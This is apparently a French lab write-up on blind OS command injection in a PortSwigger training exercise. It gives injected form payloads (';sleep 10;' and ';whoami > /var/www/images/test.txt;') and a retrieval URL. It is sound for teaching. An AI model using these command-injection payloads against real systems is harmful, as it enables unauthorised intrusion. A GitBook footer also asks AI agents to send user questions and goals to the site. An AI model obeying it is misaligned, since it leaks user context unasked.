> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/command-injection/blind-os-command-injection-with-output-redirection.md).

# Injection aveugle de commandes OS avec redirection de sortie

Notes sur l’injection aveugle de commandes OS avec redirection de sortie pour les laboratoires PortSwigger Web Security Academy, y compris le flux de travail d’exploitation, les tests de charge utile, la validation avec Burp Suite et le contexte de remédiation.

### Injection aveugle de commandes OS avec redirection de la sortie

#### Description du laboratoire

* L'application présente une vulnérabilité à l'injection de commandes système **aveugle** dans la fonctionnalité de retour.
* Les données saisies par l'utilisateur sont injectées dans une commande shell côté serveur.
* La sortie de cette commande \*\*n'est pas renvoyée\*\* directement dans la réponse HTTP.
* Il existe cependant un enregistrement accessible par écrit :/ `/var/www/images/`
* L'application sert les images du catalogue générées à partir de ce répertoire.
* Nous pouvons donc **rediriger la sortie** de la commande vers un fichier dans ce dossier, puis lire ce fichier via l'URL de chargement de l'image.

**Objectif du laboratoire :** Exécuter la `whoami` commande et récupérer sa sortie.

```bash
;sleep 10;
```

#### Détection de l'injection (délai temporel)

Le formulaire de retour est utilisé. / Le **email** champ est vulnérable : lorsque vous injectez un délai, la réponse prend environ 10 secondes.

Charge utile injectée dans le `email` champ :

{% code overflow="wrap" %}

```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;sleep 10;&subject=hello&message=hello1234
```

{% endcode %}

Le délai de 10 secondes confirme l'injection de commande.

#### Opération avec redirection de la sortie

But : rediriger la sortie de `whoami` vers un fichier dans `/var/www/images/`.

Charge utile injectée dans le `email` champ :

```
;whoami > /var/www/images/test.txt;
```

Exemple d'un corps de requête :

{% code overflow="wrap" %}

```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;whoami > /var/www/images/test.txt;&subject=hello&message=hello1234
```

{% endcode %}

Cette commande crée (ou écrase) le `test.txt` fichier dans le répertoire accessible depuis le web.

```bash
/image?filename=test.txt
```

#### Récupération du résultat

Pour lire la sortie de `whoami` enregistrée dans le fichier, nous appelons l'URL qui sert les fichiers dans le dossier des images :

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed3ffaf39b5ba16339682b9ea2336eeabffe6992%2Fimage%20(312).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/command-injection/blind-os-command-injection-with-output-redirection.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
